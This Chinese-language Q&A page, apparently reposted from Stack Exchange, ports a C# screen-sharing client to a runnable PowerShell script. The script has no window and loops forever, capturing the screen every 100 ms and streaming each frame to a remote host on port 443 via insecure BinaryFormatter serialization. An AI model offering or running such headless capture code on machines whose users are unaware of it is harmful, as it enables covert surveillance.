You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何将屏幕共享的C#客户端改写为PowerShell版本

可行性结论

完全可行。PowerShell原生支持直接调用.NET类库,你原有C#客户端用到的TCP通信、屏幕截取、二进制序列化所有能力都可以在PowerShell中无差别复用,不需要额外开发适配层,只要目标设备装有对应版本的.NET Framework/.NET运行时即可直接运行。

实现注意事项
  • 原有C#代码依赖的System.Drawing、System.Net.Sockets、System.Runtime.Serialization.Formatters等程序集,PowerShell默认不会全部自动加载,运行前需要手动通过Add-Type指令加载
  • 原WinForm的UI Timer控件逻辑不需要保留,直接用PowerShell的死循环+Start-Sleep即可实现固定间隔截屏发送,不依赖UI线程,稳定性更好
  • 每次截屏生成的Bitmap、Graphics对象要手动调用Dispose()释放,否则长时间运行会出现内存泄漏
  • 你原有代码中用BinaryFormatter直接序列化Image对象传输的逻辑可以1:1复用,和现有C#服务端完全兼容;如果后续要优化传输效率,建议改为将图片压缩为JPEG/PNG格式后直接传输字节流,能大幅降低带宽占用
可直接运行的PowerShell客户端实现
# 加载依赖程序集
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Runtime.Serialization.Formatters

# 服务端配置,和原C#客户端参数保持一致
$serverAddress = "192.168.1.55"
$serverPort = 443
$captureInterval = 100  # 截屏间隔,单位毫秒,和原Timer间隔匹配即可

# 初始化TCP连接
$tcpClient = New-Object System.Net.Sockets.TcpClient
try {
    $tcpClient.Connect($serverAddress, $serverPort)
    $networkStream = $tcpClient.GetStream()
    $binaryFormatter = New-Object System.Runtime.Serialization.Formatters.Binary.BinaryFormatter

    while ($tcpClient.Connected) {
        # 截取主屏幕,逻辑和原C#完全一致
        $screenBounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
        $screenshot = New-Object System.Drawing.Bitmap(
            $screenBounds.Width,
            $screenBounds.Height,
            [System.Drawing.Imaging.PixelFormat]::Format32bppArgb
        )
        $graphics = [System.Drawing.Graphics]::FromImage($screenshot)
        $graphics.CopyFromScreen(
            $screenBounds.X,
            $screenBounds.Y,
            0,
            0,
            $screenBounds.Size,
            [System.Drawing.CopyPixelOperation]::SourceCopy
        )

        # 序列化图片发送到服务端
        $binaryFormatter.Serialize($networkStream, $screenshot)

        # 释放非托管资源
        $graphics.Dispose()
        $screenshot.Dispose()

        # 等待下一次截屏
        Start-Sleep -Milliseconds $captureInterval
    }
}
catch {
    Write-Error "运行异常: $_"
}
finally {
    # 退出时清理连接资源
    if ($networkStream) { $networkStream.Dispose() }
    $tcpClient.Close()
}
额外优化建议

如果后续可以调整服务端接收逻辑,建议放弃BinaryFormatter序列化方案:

  • BinaryFormatter本身存在已知安全风险,微软已经不推荐在新开发场景使用
  • 直接序列化Bitmap对象传输的数据体积远大于压缩后的图片格式,同等帧率下会占用数倍带宽
  • 改为传输压缩后的JPG字节流后,跨语言客户端的实现成本会低很多,不需要依赖.NET的序列化规则

内容的提问来源于stack exchange,提问作者Daniel

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.30 06:27:18